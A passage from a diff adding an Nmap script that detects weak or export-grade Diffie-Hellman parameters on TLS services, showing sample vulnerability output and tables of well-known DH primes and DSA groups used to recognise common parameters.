+-- | This may allow a man-in-the-middle attacker to downgrade the security of a TLS
+-- | session to 512-bit export-grade cryptography, which is significantly weaker,
+-- | allowing the attacker to more easily break the encryption and monitor or tamper
+-- | with the encrypted stream.
+-- | Disclosure date: 2015-5-19
+-- | Check results:
+-- | EXPORT-GRADE DH GROUP 1
+-- | Ciphersuite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
+-- | Modulus Type: Non-safe prime
+-- | Modulus Source: sun.security.provider/512-bit DSA group with 160-bit prime order subgroup
+-- | Modulus Length: 512 bits
+-- | Generator Length: 512 bits
+-- | Public Key Length: 512 bits
+-- | References:
+-- | https://weakdh.org
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
+-- | https://www.securityfocus.com/bid/74733
+-- |
+-- | Diffie-Hellman Key Exchange Insufficient Diffie-Hellman Group Strength
+-- | State: VULNERABLE
+-- | Transport Layer Security (TLS) services that use Diffie-Hellman groups of
+-- | insuffficient strength, especially those using one of a few commonly shared
+-- | groups, may be susceptible to passive eavesdropping attacks.
+-- | Check results:
+-- | WEAK DH GROUP 1
+-- | Ciphersuite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+-- | Modulus Type: Safe prime
+-- | Modulus Source: Unknown/Custom-generated
+-- | Modulus Length: 512 bits
+-- | Generator Length: 8 bits
+-- | Public Key Length: 512 bits
+-- | References:
+-- | https://weakdh.org
+-- |
+-- | Diffie-Hellman Key Exchange Potentially Unsafe Group Parameters
+-- | State: VULNERABLE
+-- | This TLS service appears to be using a modulus that is not a safe prime and does
+-- | not correspond to any well-known DSA group for Diffie-Hellman key exchange.
+-- | These parameters MAY be secure if:
+-- | - They were generated according to the procedure described in FIPS 186-4 for
+-- | DSA Domain Parameter Generation, or
+-- | - The generator g generates a subgroup of large prime order
+-- | Additional testing may be required to verify the security of these parameters.
+-- | Check results:
+-- | NON-SAFE DH GROUP 1
+-- | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+-- | Modulus Type: Non-safe prime
+-- | Modulus Source: Unknown/Custom-generated
+-- | Modulus Length: 1024 bits
+-- | Generator Length: 1024 bits
+-- | Public Key Length: 1024 bits
+-- | References:
+-- |_ https://weakdh.org
+
+author = "Jacob Gajek"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+dependencies = {"https-redirect"}
+
+-- Anonymous Diffie-Hellman key exchange variants
+local DH_anon_ALGORITHMS = {
+ ["DH_anon_EXPORT"] = 1,
+ ["DH_anon"] = 1
+}
+
+-- Full-strength ephemeral Diffie-Hellman key exchange variants
+local DHE_ALGORITHMS = {
+ ["DHE_RSA"] = 1,
+ ["DHE_DSS"] = 1,
+ ["DHE_PSK"] = 1
+}
+
+-- Export-grade ephemeral Diffie-Hellman key exchange variants
+local DHE_ALGORITHMS_EXPORT = {
+ ["DHE_RSA_EXPORT"] = 1,
+ ["DHE_DSS_EXPORT"] = 1,
+ ["DHE_DSS_EXPORT1024"] = 1
+}
+
+local fromhex = stdnse.fromhex
+
+-- Common Diffie-Hellman groups
+--
+-- The primes from weakdh.org were harvested by:
+-- 1) Scanning the IPv4 space
+-- 2) Scanning Alexa Top 1 million (seen >100 times)
+--
+-- The list from weakdh.org overlaps the original script source code, therefore those were removed.
+-- The primes were not searchable on Google (hope for source code match) - they may belong to closed
+-- source software. If someone happens to find/match it, send a pull request.
+local DHE_PRIMES = {
+ [fromhex([[
+ D4BCD524 06F69B35 994B88DE 5DB89682 C8157F62 D8F33633 EE5772F1 1F05AB22
+ D6B5145B 9F241E5A CC31FF09 0A4BC711 48976F76 795094E7 1E790352 9F5A824B
+ ]])] = "mod_ssl 2.0.x/512-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ E6969D3D 495BE32C 7CF180C3 BDD4798E 91B78182 51BB055E 2A206490 4A79A770
+ FA15A259 CBD523A6 A6EF09C4 3048D5A2 2F971F3C 20129B48 000E6EDD 061CBC05
+ 3E371D79 4E5327DF 611EBBBE 1BAC9B5C 6044CF02 3D76E05E EA9BAD99 1B13A63C
+ 974E9EF1 839EB5DB 125136F7 262E56A8 871538DF D823C650 5085E21F 0DD5C86B
+ ]])] = "mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 9FDB8B8A 004544F0 045F1737 D0BA2E0B 274CDF1A 9F588218 FB435316 A16E3741
+ 71FD19D8 D8F37C39 BF863FD6 0E3E3006 80A3030C 6E4C3757 D08F70E6 AA871033
+ ]])] = "mod_ssl 2.2.x/512-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ D67DE440 CBBBDC19 36D693D3 4AFD0AD5 0C84D239 A45F520B B88174CB 98BCE951
+ 849F912E 639C72FB 13B4B4D7 177E16D5 5AC179BA 420B2A29 FE324A46 7A635E81
+ FF590137 7BEDDCFD 33168A46 1AAD3B72 DAE88600 78045B07 A7DBCA78 74087D15
+ 10EA9FCC 9DDD3305 07DD62DB 88AEAA74 7DE0F4D6 E2BD68B0 E7393E0F 24218EB3
+ ]])] = "mod_ssl 2.2.x/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ BBBC2DCA D8467490 7C43FCF5 80E9CFDB D958A3F5 68B42D4B 08EED4EB 0FB3504C
+ 6C030276 E710800C 5CCBBAA8 922614C5 BEECA565 A5FDF1D2 87A2BC04 9BE67780
+ 60E91A92 A757E304 8F68B076 F7D36CC8 F29BA5DF 81DC2CA7 25ECE662 70CC9A50
+ 35D8CECE EF9EA027 4A63AB1E 58FAFD49 88D0F65D 146757DA 071DF045 CFE16B9B
+ ]])] = "nginx/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ FCA682CE 8E12CABA 26EFCCF7 110E526D B078B05E DECBCD1E B4A208F3 AE1617AE
+ 01F35B91 A47E6DF6 3413C5E1 2ED0899B CD132ACD 50D99151 BDC43EE7 37592E17
+ ]])] = "sun.security.provider/512-bit DSA group with 160-bit prime order subgroup",
+
+ [fromhex([[
+ E9E64259 9D355F37 C97FFD35 67120B8E 25C9CD43 E927B3A9 670FBEC5 D8901419
+ 22D2C3B3 AD248009 3799869D 1E846AAB 49FAB0AD 26D2CE6A 22219D47 0BCE7D77
+ 7D4A21FB E9C270B5 7F607002 F3CEF839 3694CF45 EE3688C1 1A8C56AB 127A3DAF
+ ]])] = "sun.security.provider/768-bit DSA group with 160-bit prime order subgroup",
+
+ [fromhex([[
+ FD7F5381 1D751229 52DF4A9C 2EECE4E7 F611B752 3CEF4400 C31E3F80 B6512669
+ 455D4022 51FB593D 8D58FABF C5F5BA30 F6CB9B55 6CD7813B 801D346F F26660B7
+ 6B9950A5 A49F9FE8 047B1022 C24FBBA9 D7FEB7C6 1BF83B57 E7C6A8A6 150F04FB
+ 83F6D3C5 1EC30235 54135A16 9132F675 F3AE2B61 D72AEFF2 2203199D D14801C7
+ ]])] = "sun.security.provider/1024-bit DSA group with 160-bit prime order subgroup",
+
+ [fromhex([[
+ DA583C16 D9852289 D0E4AF75 6F4CCA92 DD4BE533 B804FB0F ED94EF9C 8A4403ED
+ 574650D3 6999DB29 D776276B A2D3D412 E218F4DD 1E084CF6 D8003E7C 4774E833
+ ]])] = "openssl/512-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 97F64261 CAB505DD 2828E13F 1D68B6D3 DBD0F313 047F40E8 56DA58CB 13B8A1BF
+ 2B783A4C 6D59D5F9 2AFC6CFF 3D693F78 B23D4F31 60A9502E 3EFAF7AB 5E1AD5A6
+ 5E554313 828DA83B 9FF2D941 DEE95689 FADAEA09 36ADDF19 71FE635B 20AF4703
+ 64603C2D E059F54B 650AD8FA 0CF70121 C74799D7 587132BE 9B999BB9 B787E8AB
+ ]])] = "openssl/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ ED928935 824555CB 3BFBA276 5A690461 BF21F3AB 53D2CD21 DAFF7819 1152F10E
+ C1E255BD 686F6800 53B9226A 2FE49A34 1F65CC59 328ABDB1 DB49EDDF A71266C3
+ FD210470 18F07FD6 F7585119 72827B22 A934181D 2FCB21CF 6D92AE43 B6A829C7
+ 27A3CB00 C5F2E5FB 0AA45985 A2BDAD45 F0B3ADF9 E08135EE D983B3CC AEEAEB66
+ E6A95766 B9F128A5 3F2280D7 0BA6F671 939B810E F85A90E6 CCCA6F66 5F7AC010
+ 1A1EF0FC 2DB6080C 6228B0EC DB8928EE 0CA83D65 94691669 533C5360 13B02BA7
+ D48287AD 1C729E41 35FCC27C E951DE61 85FC199B 76600F33 F86BB3CA 520E29C3
+ 07E89016 CCCC0019 B6ADC3A4 308B33A1 AFD88C8D 9D01DBA4 C4DD7F0B BD6F38C3
+ ]])] = "openssl/2048-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ AED037C3 BDF33FA2 EEDC4390 B70A2089 7B770175 E9B92EB2 0F8061CC D4B5A591
+ 723C7934 FDA9F9F3 274490F8 50647283 5BE05927 1C4F2C03 5A4EE756 A36613F1
+ 382DBD47 4DE8A4A0 322122E8 C730A83C 3E4800EE BD6F8548 A5181711 BA545231
+ C843FAC4 175FFAF8 49C440DB 446D8462 C1C3451B 49EFA829 F5C48A4C 7BAC7F64
+ 7EE00015 1AA9ED81 101B36AB 5C39AAFF EC54A3F8 F97C1B7B F406DCB4 2DC092A5
+ BAA06259 EFEB3FAB 12B42698 2E8F3EF4 B3F7B4C3 302A24C8 AA4213D8 45035CE4
+ A8ADD31F 816616F1 9E21A5C9 5080597F 8980AD6B 814E3585 5B79E684 4491527D
+ 552B72B7 C78D8D6B 993A736F 8486B305 88B8F1B8 7E89668A 8BD3F13D DC517D4B
+ ]])] = "openssl/2048-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ FEEAD19D BEAF90F6 1CFCA106 5D69DB08 839A2A2B 6AEF2488 ABD7531F BB3E462E
+ 7DCECEFB CEDCBBBD F56549EE 95153056 8188C3D9 7294166B 6AABA0AA 5CC8555F
+ 9125503A 180E9032 4C7F39C6 A3452F31 42EE72AB 7DFFC74C 528DB6DA 76D9C644
+ F55D083E 9CDE74F7 E742413B 69476617 D2670F2B F6D59FFC D7C3BDDE ED41E2BD
+ 2CCDD9E6 12F1056C AB88C441 D7F9BA74 651ED1A8 4D407A27 D71895F7 77AB6C77
+ 63CC00E6 F1C30B2F E7944692 7E74BC73 B8431B53 011AF5AD 1515E63D C1DE83CC
+ 802ECE7D FC71FBDF 179F8E41 D7F1B43E BA75D5A9 C3B11D4F 1B0B5A09 88A9AACB
+ CCC10512 26DC8410 E41693EC 8591E31E E2F5AFDF AEDE122D 1277FC27 0BE4D25C
+ 1137A58B E961EAC9 F27D4C71 E2391904 DD6AB27B ECE5BD6C 64C79B14 6C2D208C
+ D63A4B74 F8DAE638 DBE2C880 6BA10773 8A8DF5CF E214A4B7 3D03C912 75FBA572
+ 8146CE5F EC01775B 74481ADF 86F4854D 65F5DA4B B67F882A 60CE0BCA 0ACD157A
+ A377F10B 091AD0B5 68893039 ECA33CDC B61BA8C9 E32A87A2 F5D8B7FD 26734D2F
+ 09679235 2D70ADE9 F4A51D84 88BC57D3 2A638E0B 14D6693F 6776FFFB 355FEDF6
+ 52201FA7 0CB8DB34 FB549490 951A701E 04AD49D6 71B74D08 9CAA8C0E 5E833A21
+ 291D6978 F918F25D 5C769BDB E4BB72A8 4A1AFE6A 0BBAD18D 3EACC7B4 54AF408D
+ 4F1CCB23 B9AE576F DAE2D1A6 8F43D275 741DB19E EDC3B81B 5E56964F 5F8C3363
+ ]])] = "openssl/4096-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A63A3620 FFFFFFFF FFFFFFFF
+ ]])] = "RFC2409/Oakley Group 1",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+ EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE65381 FFFFFFFF FFFFFFFF
+ ]])] = "RFC2409/Oakley Group 2",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+ EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05
+ 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB
+ 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF
+ ]])] = "RFC3526/Oakley Group 5",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+ EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05
+ 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB
+ 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+ E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718
+ 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AACAA68 FFFFFFFF FFFFFFFF
+ ]])] = "RFC3526/Oakley Group 14",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+ EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05
+ 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB
+ 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+ E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718
+ 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33
+ A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7
+ ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864
+ D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2
+ 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF
+ ]])] = "RFC3526/Oakley Group 15",
+
+ [fromhex([[
+ FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74
+ 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437
+ 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
+ EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05
+ 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB
+ 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B
+ E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718
+ 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33
+ A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7
+ ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864
+ D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2
+ 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7
+ 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8
+ DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2
+ 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9
+ 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199 FFFFFFFF FFFFFFFF
+ ]])] = "RFC3526/Oakley Group 16",
+
+ [fromhex([[
+ B10B8F96 A080E01D DE92DE5E AE5D54EC 52C99FBC FB06A3C6 9A6A9DCA 52D23B61
+ 6073E286 75A23D18 9838EF1E 2EE652C0 13ECB4AE A9061123 24975C3C D49B83BF
+ ACCBDD7D 90C4BD70 98488E9C 219A7372 4EFFD6FA E5644738 FAA31A4F F55BCCC0
+ A151AF5F 0DC8B4BD 45BF37DF 365C1A65 E68CFDA7 6D4DA708 DF1FB2BC 2E4A4371
+ ]])] = "RFC5114/1024-bit DSA group with 160-bit prime order subgroup",
+
+ [fromhex([[
+ AD107E1E 9123A9D0 D660FAA7 9559C51F A20D64E5 683B9FD1 B54B1597 B61D0A75
+ E6FA141D F95A56DB AF9A3C40 7BA1DF15 EB3D688A 309C180E 1DE6B85A 1274A0A6
+ 6D3F8152 AD6AC212 9037C9ED EFDA4DF8 D91E8FEF 55B7394B 7AD5B7D0 B6C12207
+ C9F98D11 ED34DBF6 C6BA0B2C 8BBC27BE 6A00E0A0 B9C49708 B3BF8A31 70918836
+ 81286130 BC8985DB 1602E714 415D9330 278273C7 DE31EFDC 7310F712 1FD5A074
+ 15987D9A DC0A486D CDF93ACC 44328387 315D75E1 98C641A4 80CD86A1 B9E587E8
+ BE60E69C C928B2B9 C52172E4 13042E9B 23F10B0E 16E79763 C9B53DCF 4BA80A29
+ E3FB73C1 6B8E75B9 7EF363E2 FFA31F71 CF9DE538 4E71B81C 0AC4DFFE 0C10E64F
+ ]])] = "RFC5114/2048-bit DSA group with 224-bit prime order subgroup",
+
+ [fromhex([[
+ 87A8E61D B4B6663C FFBBD19C 65195999 8CEEF608 660DD0F2 5D2CEED4 435E3B00
+ E00DF8F1 D61957D4 FAF7DF45 61B2AA30 16C3D911 34096FAA 3BF4296D 830E9A7C
+ 209E0C64 97517ABD 5A8A9D30 6BCF67ED 91F9E672 5B4758C0 22E0B1EF 4275BF7B
+ 6C5BFC11 D45F9088 B941F54E B1E59BB8 BC39A0BF 12307F5C 4FDB70C5 81B23F76
+ B63ACAE1 CAA6B790 2D525267 35488A0E F13C6D9A 51BFA4AB 3AD83477 96524D8E
+ F6A167B5 A41825D9 67E144E5 14056425 1CCACB83 E6B486F6 B3CA3F79 71506026
+ C0B857F6 89962856 DED4010A BD0BE621 C3A3960A 54E710C3 75F26375 D7014103
+ A4B54330 C198AF12 6116D227 6E11715F 693877FA D7EF09CA DB094AE9 1E1A1597
+ ]])] = "RFC5114/2048-bit DSA group with 256-bit prime order subgroup",
+
+ [fromhex([[
+ D6C094AD 57F5374F 68D58C7B 096872D9 45CEE1F8 2664E059 4421E1D5 E3C8E98B
+ C3F0A6AF 8F92F19E 3FEF9337 B99B9C93 A055D55A 96E42573 4005A68E D47040FD
+ F00A5593 6EBA4B93 F64CBA1A 004E4513 611C9B21 7438A703 A2060C20 38D0CFAA
+ FFBBA48F B9DAC4B2 450DC58C B0320A03 17E2A31B 44A02787 C657FB0C 0CBEC11D
+ ]])] = "weakdh.org/1024-bit MODP group with non-safe prime modulus",
+
+ [fromhex([[
+ C9BBF5F7 74A8297B 0F97CDDA 3A3468C7 117B6BF7 99A13D9F 1F5DAC48 7B2241FE
+ 95EFB13C 2855DFD2 F898B3F9 9188E24E DF326DD6 8C76CC85 53728351 2D46F195
+ 3129C693 364D8C71 202EABB3 EBC85C1D F53907FB D0B7EB49 0AD0BC99 28968680
+ 0C46AB04 BF7CDD9A D425E6FB 25592EB6 258A0655 D75E93B2 671746AE 349E721B
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 829FEBFC E3EE0434 862D3364 A62BDE7B 65F0C74A 3A53B555 291414FC AE5E86D7
+ 34B16DBD CC952B1C 5EB443B1 54B3B466 62E811E1 1D8BC731 34018A5E A7B5B6A9
+ 720D84BC 28B74822 C5AF24C9 04E5BB5A DABF8FF2 A5ED7B45 6688D6CA B82F8AF0
+ 188A456C 3ED62D2F EACF6BD3 FD47337D 884DFA09 F0A3D696 75E35806 E3AE9593
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 92402435 C3A12E44 D3730D8E 78CADFA7 8E2F5B51 A956BFF4 DB8E5652 3E9695E6
+ 3E32506C FEB912F2 A77D22E7 1BB54C86 80893B82 AD1BCF33 7F7F7796 D3FB9681
+ 81D9BA1F 7034ABFB 1F97B310 4CF3203F 663E8199 0B7E090F 6C4C5EE1 A0E57EC1
+ 74D3E84A D9E72E6A C7DA6AEA 12DF297C 131854FB F21AC4E8 79C23BBC 60B4F753
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ A9A34811 446C7B69 A29FF999 7C2181EC FAAAD139 CCDE2455 755D42F4 2E700AFD
+ 86779D54 8A7C07CA 5DE42332 61117D0A 5773F245 9C331AF1 A1B08EF8 360A14DE
+ 4046F274 62DA36AA 47D9FDE2 92B8815D 598C3A9C 546E7ED3 95D22EC3 9119F5B9
+ 22CC41B3 0AF220FF 47BDE1B8 8334AD29 81DDC5ED 923F11C3 DDD3B22C 949DC41B
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ CA6B8564 6DC21765 7605DACF E801FAD7 59845383 4AF126C8 CC765E0F 81014F24
+ 93546AB7 DDE5C677 C32D5B06 05B1BBFA 4C5DBFA3 253ADB33 205B7D8C 67DF98C4
+ BCE81C78 13F9FC26 15F1C332 F953AB39 CE8B7FE7 E3951FB7 3131407F 4D5489B6
+ B17C6875 9A2EAF8B 195A8DE8 0A165E4E B7520774 B167A00F A5629FDC 5A9A25F3
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ EB373E94 AB618DF8 20D233ED 93E3EBCB 319BDAC2 0994C1DF 003986A7 9FAFFF76
+ 54151CC9 E0641314 92698B47 496F5FDC FAF12892 679D8BC3 1580D7D4 1CD83F81
+ 529C7951 3D58EC67 2E0E87FC D008C137 E3E5861A B2D3A02F 4D372CEE 4F220FEB
+ 2C9039AC 997664A7 EBB75444 6AA69EB3 E0EF3C60 F91C2639 2B54EC35 A970A7BB
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 80A68ADC 5327E05C AAD07C44 64B8ADEA 908432AF 9651B237 F47A7A8B F84D568F
+ DFDAFAB0 6621C0C4 28450F1C 55F7D4A8 ECE383F2 7D6055AD DF60C4B8 37DCC1E3
+ B8374E37 99517929 39FDC3BB B4285112 C8B4A9F6 FCE4DD53 AA23F99E 2647C394
+ CE4D8BB8 2E773F41 EB786CE8 4CD0C3DD 4C31D755 D1CF9E9B 70C45EE2 8ECDABAB
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ C0EB5F3A 4CB30A9F FE3786E8 4C038141 69B52030 5AD49F54 EFD8CAAC 31A69B29
+ 73CC9F57 B4B8F80D 2C5FB68B 3913B617 2042D2E5 BD53381A 5E597696 C9E97BD6
+ 488DB339 5581320D DD4AF9CD E4A4EBE2 9118C688 28E5B392 89C26728 0B4FDC25
+ 10C288B2 174D77EE 0AAD9C1E 17EA5ED3 7CF971B6 B19A8711 8E529826 591CA14B
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ [fromhex([[
+ 8FC0E1E2 0574D6AB 3C76DDEA 64524C20 76446B67 98E5B6BD 2614F966 9A5061D6
+ 99034DB4 819780EC 8EE28A4E 66B5C4E0 A634E47B F9C981A5 EC4908EE 1B83A410
+ 813165AC 0AB6BDCF D3257188 AC49399D 541C16F2 960F9D64 B9C51EC0 85AD0BB4
+ FE389013 18F0CD61 65D4B1B3 1C723953 B83217F8 B3EBF870 8160E82D 7911754B
+ ]])] = "weakdh.org/1024-bit MODP group with safe prime modulus",
+
+ -- haproxy, postfix, and IronPort params courtesy Frank Bergmann
+ [fromhex([[
+ EC86F870 A03316EC 051A7359 CD1F8BF8 29E4D2CF 52DDC224 8DB5389A FB5CA4E4
+ B2DACE66 5074A685 4D4B1D30 B82BF310 E9A72D05 71E781DF 8B59523B 5F430B68
+ F1DB07BE 086B1B23 EE4DCC9E 0E43A01E DF438CEC BEBE90B4 5154B92F 7B64764E
+ 5DD42EAE C29EAE51 4359C777 9C503C0E ED73045F F14C762A D8F8CFFC 3440D1B4
+ 42618466 423904F8 68B262D7 55ED1B74 7591E0C5 69C1315C DB7B442E CE84580D
+ 1E660CC8 449EFD40 08675DFB A7768F00 1187E993 F97DC4BC 745520D4 4A412F43
+ 421AC1F2 97174927 376B2F88 7E1CA0A1 899227D9 565A71C1 56377E3A 9D05E7EE
+ 5D8F8217 BCE9C293 3082F9F4 C9AE49DB D054B4D9 754DFA06 B8D63841 B71F77F3
+ ]])] = "haproxy 1.5 builtin",
+
+ [fromhex([[
+ B0FEB4CF D45507E7 CC88590D 1726C50C A54A9223 8178DA88 AA4C1306 BF5D2F9E
+ BC96B851 009D0C0D 75ADFD3B B17E714F 3F915414 44B83025 1CEBDF72 9C4CF189
+ 0D683F94 8EA4FB76 8918B291 16900199 668C5381 4E273D99 E75A7AAF D5ECE27E
+ FAED0118 C2782559 065C39F6 CD4954AF C1B1EA4A F953D0DF 6DAFD493 E7BAAE9B
+ ]])] = "postfix builtin",
+
+ [fromhex([[
+ F8D5CCE8 7A3961B5 F5CBC834 40C51856 E0E6FA6D 5AB28310 78C86762 1CA46CA8
+ 7D7FA3B1 AF75B834 3C699374 D36920F2 E39A653D E8F0725A A6E2D297 7537558C
+ E27E784F 4B549BEF B558927B A30C8BD8 1DACDCAE 93027B5D CE1BC176 70AF7DEC
+ E81149AB D7D632D9 B80A6397 CEBCC7A9 619CCF38 288EA3D5 23287743 B04E6FB3
+ ]])] = "IronPort SMTPD builtin",
+}
+
+
+-- DSA parameters
+local DSA_PARAMS = {
+ -- sun.security.provider/512-bit DSA group with 160-bit prime order subgroup
+ [fromhex([[
+ FCA682CE 8E12CABA 26EFCCF7 110E526D B078B05E DECBCD1E B4A208F3 AE1617AE
+ 01F35B91 A47E6DF6 3413C5E1 2ED0899B CD132ACD 50D99151 BDC43EE7 37592E17
+ ]])] =
+
+ fromhex([[
+ 678471B2 7A9CF44E E91A49C5 147DB1A9 AAF244F0 5A434D64 86931D2D 14271B9E
+ 35030B71 FD73DA17 9069B32E 2935630E 1C206235 4D0DA20A 6C416E50 BE794CA4
+ ]]),
+
+ -- sun.security.provider/768-bit DSA group with 160-bit prime order subgroup
+ [fromhex([[
+ E9E64259 9D355F37 C97FFD35 67120B8E 25C9CD43 E927B3A9 670FBEC5 D8901419
+ 22D2C3B3 AD248009 3799869D 1E846AAB 49FAB0AD 26D2CE6A 22219D47 0BCE7D77
+ 7D4A21FB E9C270B5 7F607002 F3CEF839 3694CF45 EE3688C1 1A8C56AB 127A3DAF
+ ]])] =
+
+ fromhex([[
+ 30470AD5 A005FB14 CE2D9DCD 87E38BC7 D1B1C5FA CBAECBE9 5F190AA7 A31D23C4
+ DBBCBE06 17454440 1A5B2C02 0965D8C2 BD2171D3 66844577 1F74BA08 4D2029D8
+ 3C1C1585 47F3A9F1 A2715BE2 3D51AE4D 3E5A1F6A 7064F316 933A346D 3F529252
+ ]]),
+
+ -- sun.security.provider/1024-bit DSA group with 160-bit prime order subgroup
+ [fromhex([[
+ FD7F5381 1D751229 52DF4A9C 2EECE4E7 F611B752 3CEF4400 C31E3F80 B6512669
+ 455D4022 51FB593D 8D58FABF C5F5BA30 F6CB9B55 6CD7813B 801D346F F26660B7
+ 6B9950A5 A49F9FE8 047B1022 C24FBBA9 D7FEB7C6 1BF83B57 E7C6A8A6 150F04FB
+ 83F6D3C5 1EC30235 54135A16 9132F675 F3AE2B61 D72AEFF2 2203199D D14801C7
+ ]])] =
+
+ fromhex([[
+ F7E1A085 D69B3DDE CBBCAB5C 36B857B9 7994AFBB FA3AEA82 F9574C0B 3D078267
+ 5159578E BAD4594F E6710710 8180B449 167123E8 4C281613 B7CF0932 8CC8A6E1
+ 3C167A8B 547C8D28 E0A3AE1E 2BB3A675 916EA37F 0BFA2135 62F1FB62 7A01243B
+ CCA4F1BE A8519089 A883DFE1 5AE59F06 928B665E 807B5525 64014C3B FECF492A
+ ]]),
+
+ -- RFC5114/1024-bit DSA group with 160-bit prime order subgroup
